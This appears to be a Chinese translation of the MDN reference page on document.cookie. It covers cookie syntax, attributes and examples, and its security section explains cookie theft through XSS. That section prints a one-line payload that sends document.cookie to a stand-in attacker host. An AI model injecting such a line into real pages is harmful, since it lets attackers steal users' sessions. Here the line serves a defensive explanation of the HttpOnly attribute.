文档:cookie 属性

Document 属性 cookie 允许你读取和写入与文档关联的cookie。它充当 cookie 的实际值的 getter 和 setter。

语法

读取从该位置可访问的所有 cookie

js
allCookies = document.cookie;

在上面的代码中,allCookies 是一个字符串,包含所有 cookie 的分号分隔列表(例如,key=value 对)。请注意,每个可能都用空格(空格和制表符)包围:实际上,RFC 6265 要求在每个分号之后添加一个空格,但一些用户代理可能不遵守此规定。

js
document.cookie = newCookie;

在上面的代码中,newCookie 是一个形式为 key=value 的字符串,指定要设置/更新的 cookie。请注意,你只能使用此方法一次设置/更新一个 cookie。还要考虑

  • 以下任何 cookie 属性值都可以选择性地在键值对之后添加,每个值之前用分号分隔符分隔
    • ;domain=domain(例如,example.comsubdomain.example.com):将向其发送 cookie 的主机。如果未指定,则默认为当前文档位置的主机部分,并且 cookie 在子域中不可用。如果指定了域,则始终包含子域。与早期规范相反,域名的开头点将被忽略,但浏览器可能拒绝设置包含此类点的 cookie。

      注意:必须与 JavaScript 来源的域匹配。将 cookie 设置为外域将被静默忽略。

    • ;expires=date-in-UTCString-format:cookie 的过期日期。如果未指定 expiresmax-age,则它将在会话结束时过期。

      警告:当用户隐私是一个问题时,重要的是任何 Web 应用程序实现都应在特定超时后使 cookie 数据失效,而不是依赖浏览器来执行此操作。许多浏览器允许用户指定 cookie 永远不应过期,这不是安全的行为。

      有关格式化此值的帮助,请参阅 Date.toUTCString()
    • ;max-age=max-age-in-seconds:cookie 的最大生存时间(以秒为单位)(例如,60*60*24*365 或 31536000 表示一年)。
    • ;partitioned:指示应使用分区存储来存储 cookie。有关更多详细信息,请参阅 具有独立分区状态的 cookie (CHIPS)
    • ;path=path:cookie 的 Path 属性的值(有关更多信息,请参阅 定义 cookie 的发送位置)。
    • ;samesiteSameSite 属性是一个 Set-Cookie 标头,可以由服务器设置,以指定何时将发送 cookie。可能的值是 laxstrictnone(另请参阅 使用 SameSite 控制第三方 cookie)。
      • lax 值将在所有同站请求和顶级导航 GET 请求中发送 cookie。这足以进行用户跟踪,但它将阻止许多 跨站点请求伪造 (CSRF) 攻击。这是现代浏览器中的默认值。
      • strict 值将阻止浏览器在所有跨站点浏览上下文中将 cookie 发送到目标站点,即使是遵循常规链接时也是如此。
      • none 值明确说明不应用任何限制。cookie 将在所有请求中发送 - 无论是跨站点还是同站请求。
    • ;secure:指定 cookie 只能通过安全协议传输。
  • cookie 值字符串可以使用 encodeURIComponent() 来确保字符串不包含任何逗号、分号或空格(这些在 cookie 值中是不允许的)。
  • 一些用户代理实现支持以下 cookie 前缀
    • __Secure- 向浏览器发出信号,表明它应该只在通过安全通道传输的请求中包含 cookie。
    • __Host- 向浏览器发出信号,表明除了仅从安全来源使用 cookie 的限制外,cookie 的范围还限于服务器传递的 path 属性。如果服务器省略了 path 属性,则使用请求 URI 的“目录”。它还发出信号表明 domain 属性不能存在,这将阻止 cookie 发送到其他域。对于 Chrome,path 属性必须始终是来源。

    注意:连字符被视为前缀的一部分。

    注意:这些标志只能使用 secure 属性设置。

注意:如你从上面的代码中所见,document.cookie 是一个具有本机settergetter 函数的 访问器属性,因此它不是一个具有值的 数据属性:你写入的内容与你读取的内容不同,所有内容始终由 JavaScript 解释器进行中介。

示例

示例 1:简单用法

js
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";

function showCookies() {
  const output = document.getElementById("cookies");
  output.textContent = `> ${document.cookie}`;
}

function clearOutputCookies() {
  const output = document.getElementById("cookies");
  output.textContent = "";
}
html
<button onclick="showCookies()">Show cookies</button>

<button onclick="clearOutputCookies()">Clear</button>

<div>
  <code id="cookies"></code>
</div>
js
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";

const cookieValue = document.cookie
  .split("; ")
  .find((row) => row.startsWith("test2="))
  ?.split("=")[1];

function showCookieValue() {
  const output = document.getElementById("cookie-value");
  output.textContent = `> ${cookieValue}`;
}

function clearOutputCookieValue() {
  const output = document.getElementById("cookie-value");
  output.textContent = "";
}
html
<button onclick="showCookieValue()">Show cookie value</button>

<button onclick="clearOutputCookieValue()">Clear</button>

<div>
  <code id="cookie-value"></code>
</div>

示例 3:只执行一次操作

为了使用以下代码,请将 doSomethingOnlyOnce(cookie 的名称)的所有出现替换为自定义名称。

js
function doOnce() {
  if (
    !document.cookie
      .split("; ")
      .find((row) => row.startsWith("doSomethingOnlyOnce"))
  ) {
    // Note that we are setting `SameSite=None;` in this example because the example
    // needs to work cross-origin.
    // It is more common not to set the `SameSite` attribute, which results in the default,
    // and more secure, value of `SameSite=Lax;`
    document.cookie =
      "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";

    const output = document.getElementById("do-once");
    output.textContent = "> Do something here!";
  }
}

function clearOutputDoOnce() {
  const output = document.getElementById("do-once");
  output.textContent = "";
}
html
<button onclick="doOnce()">Only do something once</button>

<button onclick="clearOutputDoOnce()">Clear</button>

<div>
  <code id="do-once"></code>
</div>
js
function resetOnce() {
  // Note that we are setting `SameSite=None;` in this example because the example
  // needs to work cross-origin.
  // It is more common not to set the `SameSite` attribute, which results in the default,
  // and more secure, value of `SameSite=Lax;`
  document.cookie =
    "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";

  const output = document.getElementById("reset-once");
  output.textContent = "> Reset!";
}

function clearOutputResetOnce() {
  const output = document.getElementById("reset-once");
  output.textContent = "";
}
html
<button onclick="resetOnce()">Reset only once cookie</button>

<button onclick="clearOutputResetOnce()">Clear</button>

<div>
  <code id="reset-once"></code>
</div>
js
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";

function checkACookieExists() {
  if (
    document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
  ) {
    const output = document.getElementById("a-cookie-existence");
    output.textContent = '> The cookie "reader" exists';
  }
}

function clearOutputACookieExists() {
  const output = document.getElementById("a-cookie-existence");
  output.textContent = "";
}
html
<button onclick="checkACookieExists()">Check a cookie exists</button>

<button onclick="clearOutputACookieExists()">Clear</button>

<div>
  <code id="a-cookie-existence"></code>
</div>
js
function checkCookieHasASpecificValue() {
  if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
    const output = document.getElementById("a-specific-value-of-the-cookie");
    output.textContent = '> The cookie "reader" has a value of "1"';
  }
}

function clearASpecificValueOfTheCookie() {
  const output = document.getElementById("a-specific-value-of-the-cookie");
  output.textContent = "";
}
html
<button onclick="checkCookieHasASpecificValue()">
  Check that a cookie has a specific value
</button>

<button onclick="clearASpecificValueOfTheCookie()">Clear</button>

<div>
  <code id="a-specific-value-of-the-cookie"></code>
</div>

安全性

重要的是要注意,path 属性不会防止从不同路径中未经授权读取 cookie。它可以通过 DOM 很容易地绕过,例如,通过创建一个具有 cookie 路径的隐藏 <iframe> 元素,然后访问此 iframe 的 contentDocument.cookie 属性。保护 cookie 的唯一方法是使用不同的域或子域,因为存在 同源策略

cookie 通常用于 Web 应用程序中识别用户及其已认证的会话。从 Web 应用程序中窃取 cookie 会导致劫持已认证用户的会话。窃取 cookie 的常见方法包括使用 社会工程学 或利用应用程序中的 跨站点脚本 (XSS) 漏洞 -

js
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;

HTTPOnly cookie 属性可以通过阻止通过 JavaScript 访问 cookie 值来帮助缓解此攻击。阅读有关 cookie 和安全 的更多信息。

注释

  • 从 Firefox 2 开始,可以使用更好的客户端存储机制 - WHATWG DOM 存储
  • 你可以通过将 cookie 的过期时间更新为零来删除它。
  • 请记住,你拥有的 cookie 越多,每次请求在服务器和客户端之间传输的数据就越多。这将使每个请求变慢。强烈建议你使用 WHATWG DOM 存储 来保存“仅客户端”数据。
  • RFC 2965(第 5.3 节,“实现限制”)规定,cookie 键或值大小没有最大长度,并鼓励实现支持任意大的 cookie。每个浏览器的实现最大值必然不同,因此请咨询各个浏览器的文档。

document.cookie 访问器属性的 语法 如此的原因是由于 cookie 的客户端-服务器性质,这与其他客户端-客户端存储方法(例如,localStorage)不同。

bash
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[content of the page here]

客户端将其先前存储的 cookie 发送回服务器

bash
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*

规范

规范
HTML 标准
# dom-document-cookie

浏览器兼容性

BCD 表格仅在浏览器中加载

另请参阅